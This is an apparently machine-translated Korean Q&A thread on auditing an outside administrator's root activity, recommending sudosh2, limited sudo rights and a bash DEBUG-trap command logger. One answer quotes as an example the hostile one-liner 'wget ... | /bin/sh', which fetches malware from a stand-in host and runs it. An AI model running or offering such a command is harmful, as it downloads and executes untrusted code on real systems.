외부 시스템 관리자에게 루트 서버에 대한 액세스 권한을 부여하고 싶지만, 그가 서버에서하고있는 일, 예를 들어 데이터 복사 등을 원하지 않는지 다시 확인하고 싶습니다. 또한 읽기 전용이며 편집하지 않은 파일에 액세스 한 파일을 추적하고 싶습니다.
어떻게해야합니까?
답변
신뢰하지만 확인하십시오!
sudosh2를 확인하십시오 . sudosh2는 FreeBSD 포트에 의해 제공됩니다. RedHat 및 Ubuntu 용 패키지가 제공됩니다. 다음은 해당 웹 사이트의 설명입니다.
sudosh는 감사 셸 필터이며 로그인 셸로 사용할 수 있습니다. Sudosh는 모든 키 입력 및 출력을 기록하고 VCR처럼 세션을 재생할 수 있습니다.
Sudosh를 사용하면 사용자 세션을 재생할 수 있으므로 사용자가 본대로 모든 입력 및 출력을 볼 수 있습니다. 모든 것, 키 입력, 오타, 백 스페이스,에서 편집 한 내용 vi
,의 출력 wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/sh
등을 볼 수 있습니다.
sudosh 로그를 syslog로 보내 시스템에서 멀리 떨어진 중앙 syslog 서버에 저장할 수 있습니다.
sudosh2는 sudosh를 대신하여 sudosh를 대체했습니다.
사용자가 수퍼 유저 권한을 요구하는 교육 기관에서 일하십니까? 아니면 회사에서 일하면서 사용자가 자신의 VM에 대한 수퍼 유저 권한을 갖도록 하시겠습니까? 이것은 당신을위한 해결책 일 수 있습니다.
답변
그에게 루트 액세스 권한을 부여하지 마십시오. 대신 권한이없는 사용자 계정을 제공하고 모든 작업을 수행하도록 요청하면 sudo
모든 명령이 기록됩니다.
이 사람이 잘못된 의도를 가지고 있고 그에게 완전한 sudo 권한을 주면, 그러한 명령을 기록하지 않고서도 그러한 의도를 수행 할 수있는 방법을 찾을 것 입니다. 이 경우 업무 수행에 필요한 특정 명령에만 액세스 권한을 부여하십시오.
답변
sudosh2에 익숙하지 않지만 쉘에 .bashrc
입력하는 모든 명령 bash
을 파일 에 기록 하려면 다음을 입력 하십시오 ~/.command_log
.
# log every command typed and when
if [ -n "${BASH_VERSION}" ]; then
trap "caller >/dev/null || \
printf '%s\\n' \"\$(date '+%Y-%m-%dT%H:%M:%S%z')\
\$(tty) \${BASH_COMMAND}\" 2>/dev/null >>~/.command_log" DEBUG
fi
위의 DEBUG
명령은 일반 명령이 실행되기 직전에 실행되는 트랩을 설정합니다 . caller
내장 명령이 대화 형 쉘에서 입력 또는 같은 것을 통해 실행되는지 여부를 테스트하는 데 사용됩니다 .bashrc
. 값 ${BASH_COMMAND}
은 현재 실행중인 명령을 포함합니다.